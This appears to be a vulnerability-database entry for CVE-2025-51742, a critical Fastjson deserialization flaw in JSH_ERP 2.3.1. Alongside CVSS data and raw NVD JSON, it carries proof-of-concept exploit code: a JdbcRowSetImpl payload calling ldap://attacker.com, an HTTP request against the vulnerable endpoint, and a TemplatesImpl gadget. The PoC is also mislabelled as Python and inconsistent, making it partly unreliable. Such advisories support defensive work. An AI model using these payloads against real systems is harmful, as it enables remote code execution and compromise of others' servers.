CVE-2025-51742

Description

An issue was discovered in jishenghua JSH_ERP 2.3.1. The /material/getMaterialEnableSerialNumberList endpoint passes the search query parameter directly to parseObject(), introducing a Fastjson deserialization vulnerability that can lead to RCE via JDBC payloads.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:* - VULNERABLE

jishenghua JSH_ERP 2.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class CVE_2025_51742_POC {
    public static void main(String[] args) {
        // Enable autotype for exploitation
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        
        // Malicious Fastjson payload for RCE via JDBC
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                        "\"dataSourceName\":\"ldap://attacker.com/Exploit\"," +
                        "\"autoCommit\":true}";
        
        try {
            // This will trigger the deserialization vulnerability
            Object obj = JSON.parse(payload);
            System.out.println("Payload sent to: /material/getMaterialEnableSerialNumberList");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

// HTTP Request POC:
// POST /material/getMaterialEnableSerialNumberList HTTP/1.1
// Host: target.com
// Content-Type: application/json
// 
// {"search": "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}"}
// 
// Alternative payload using TemplatesImpl:
// {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_encoded_malicious_class"],"_name":"poc","_tfactory":{},"_outputProperties":{}}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-51742
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-51742
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-51742/
[4] VulDB https://vuldb.com/cve/CVE-2025-51742
[5] https://blog.hackpax.top/jsh-erp/
[6] https://gist.github.com/Paxsizy/a40334ffa7f05c42bf0348833f830108
[7] https://gitee.com/jishenghua
[8] https://gitee.com/jishenghua/JSH_ERP

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-51742", "sourceIdentifier": "[email protected]", "published": "2025-11-25T20:15:59.363", "lastModified": "2025-12-02T15:38:50.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /material/getMaterialEnableSerialNumberList endpoint passes the search query parameter directly to parseObject(), introducing a Fastjson deserialization vulnerability that can lead to RCE via JDBC payloads."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.1", "matchCriteriaId": "425A1CE4-66CE-4BC9-8CB9-58DCE58F1E0F"}]}]}], "references": [{"url": "https://blog.hackpax.top/jsh-erp/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Paxsizy/a40334ffa7f05c42bf0348833f830108", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/jishenghua", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/jishenghua/JSH_ERP", "source": "[email protected]", "tags": ["Product"]}]}}